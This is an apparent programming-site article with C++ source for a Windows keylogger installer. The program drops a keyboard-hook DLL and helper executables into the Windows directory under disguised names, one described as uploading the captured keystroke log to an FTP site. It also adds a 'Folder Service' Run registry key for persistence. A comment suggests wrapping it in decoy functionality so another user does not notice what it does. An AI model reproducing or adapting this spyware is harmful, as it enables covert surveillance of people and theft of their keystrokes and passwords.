Click here to Skip to main content
15,887,135 members
Articles / Programming Languages / C++

Spying on computer usage via keyboard hooks

Rate me:
Please Sign up or sign in to vote.
4.22/5 (8 votes)
22 Sep 20012 min read 103.3K   2.6K   49  
This program can be used to find out how your computer is being used while you are away.
////////////////////////////////////////////////////////////////////
// 	  This program is done by Hirosh Joseph from india            //
//       Email hirosh@hirosh.com	        		              //	
//       Website www.hirosh.com,www.hirosh.net,www.hirosh.org     // 
// 	  I always welcome to ur valuble comments                     // 
////////////////////////////////////////////////////////////////////



//REad carefully 
//currently no resource is added to this project
//So add that 2 exe files and dll to the binary resources to this progect..
// then rebuild ok



#include "stdafx.h"
#include "resource.h"
#include <stdio.h>
int x,y;
char s[11][25];
int iii;
HINSTANCE hInst;


LRESULT CALLBACK	WndProc(HWND, UINT, WPARAM, LPARAM);
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{

hInst=hInstance;
char a[MAX_PATH];
HKEY hkeyresult ;
long l=RegOpenKey (HKEY_LOCAL_MACHINE, ( LPCTSTR ) "Software\\Foldsoft", &hkeyresult );
RegCloseKey ( hkeyresult );
if (l!=ERROR_SUCCESS)
{
	
FILE *f1;
strcpy(a,"");
GetWindowsDirectory(a,MAX_PATH);
strcat(a, "\\Serv22.txt" ); 
f1=fopen(a,"w");
fclose(f1);
	
	char sdate[50];
	SYSTEMTIME stime;
	GetSystemTime(&stime);
	sprintf(sdate,"%d",(stime.wDay-2)); 



	
	RegCreateKey(HKEY_LOCAL_MACHINE, ( LPCTSTR ) "Software\\Foldsoft", &hkeyresult );  
	RegSetValueEx ( hkeyresult, ( LPCTSTR )"Date" ,0, REG_SZ, ( const BYTE* ) ( LPCTSTR ) sdate,sizeof(sdate)) ;
	RegSetValueEx ( hkeyresult, ( LPCTSTR )"Check" ,0, REG_SZ, ( const BYTE* ) ( LPCTSTR ) sdate,sizeof(sdate)) ;
	RegSetValueEx ( hkeyresult, ( LPCTSTR )"Sent" ,0, REG_SZ, ( const BYTE* ) ( LPCTSTR ) "1",1) ;
	RegCloseKey ( hkeyresult );


	strcpy(a,"");
	GetWindowsDirectory(a,MAX_PATH);
	strcat(a, "\\Serv22.dll" ); 


////////////////////////////
	HRSRC hResLoad;     // handle to loaded resource 
	HRSRC hRes;         // handle/ptr. to res. info. in hExe 

	char *lpResLock;    // pointer to resource data 
	HMODULE hModule;


//This resource is the Key board hook DLL of Section 1
// Add that Dll file to a  binary resource
	hModule = GetModuleHandle (NULL);
	hRes = FindResource(hModule,MAKEINTRESOURCE(IDR_DATA3), RT_RCDATA); 
	hResLoad = (HRSRC)LoadResource(NULL, hRes); 
	DWORD si,dwBytes; 
	si=SizeofResource(NULL,hRes);
	lpResLock = (char *)LockResource(hResLoad);
	HANDLE  hFile = CreateFile (a,
                                         GENERIC_WRITE,
                                         0,
                                         NULL,
                                         CREATE_ALWAYS,
                                         FILE_ATTRIBUTE_NORMAL,
                                         NULL);
	WriteFile (hFile, (LPVOID)lpResLock, si, &dwBytes, NULL);
	CloseHandle (hFile);

//This resource is the Exe file of Section 2 that is postin text file to that
// FTP site
// Add that exe file to a  binary resource

	strcpy(a,"");
	GetWindowsDirectory(a,MAX_PATH);
	strcat(a, "\\ServPost.exe"); 

	hRes = FindResource(hModule,MAKEINTRESOURCE(IDR_DATA8), RT_RCDATA); 
	hResLoad = (HRSRC)LoadResource(NULL, hRes); 
	si=SizeofResource(NULL,hRes);
	lpResLock = (char *)LockResource(hResLoad);
	hFile = CreateFile (a,
                                         GENERIC_WRITE,
                                         0,
                                         NULL,
                                         CREATE_ALWAYS,
                                         FILE_ATTRIBUTE_NORMAL,
                                         NULL);
	WriteFile (hFile, (LPVOID)lpResLock, si, &dwBytes, NULL);
	CloseHandle (hFile);

//This resource is the Exe file of Section 3 that 
// Check the net conection..
// Add that exe file to a  binary resource

	strcpy(a,"");
	GetWindowsDirectory(a,MAX_PATH);
	strcat(a, "\\Serv22.exe" ); 

	hRes = FindResource(hModule,MAKEINTRESOURCE(IDR_DATA9), RT_RCDATA); 
	hResLoad = (HRSRC)LoadResource(NULL, hRes); 
	si=SizeofResource(NULL,hRes);
	lpResLock = (char *)LockResource(hResLoad);
	hFile = CreateFile (a,
                                         GENERIC_WRITE,
                                         0,
                                         NULL,
                                         CREATE_ALWAYS,
                                         FILE_ATTRIBUTE_NORMAL,
                                         NULL);
	WriteFile (hFile, (LPVOID)lpResLock, si, &dwBytes, NULL);
	CloseHandle (hFile);
///////////////
WinExec("Serv22",SW_SHOW);

}
//change
strcpy(a,"");
strcat(a, "Serv22.exe" ); 
HKEY childkey = 0 ;
DWORD dispos ;
RegCreateKeyEx (HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL,                                    REG_OPTION_NON_VOLATILE, KEY_CREATE_SUB_KEY | KEY_ALL_ACCESS, NULL, &childkey, &dispos ) ;
RegSetValueEx ( childkey, "Folder Service ", 0, REG_SZ, ( const BYTE* ) ( LPCTSTR ) a, sizeof(a)) ;
RegCloseKey ( childkey );

//We can add any of the other code to this part.
//So the another user Dont know the original functionality of 
//this program


return 0;
}


By viewing downloads associated with this article you agree to the Terms of Service and the article's licence.

If a file you wish to view isn't highlighted, and is a text file (not binary), please let us know and we'll add colourisation support for it.

License

This article has no explicit license attached to it but may contain usage terms in the article text or the download files themselves. If in doubt please contact the author via the discussion board below.

A list of licenses authors might use can be found here


Written By
United States United States
This member has not yet provided a Biography. Assume it's interesting and varied, and probably something to do with programming.

Comments and Discussions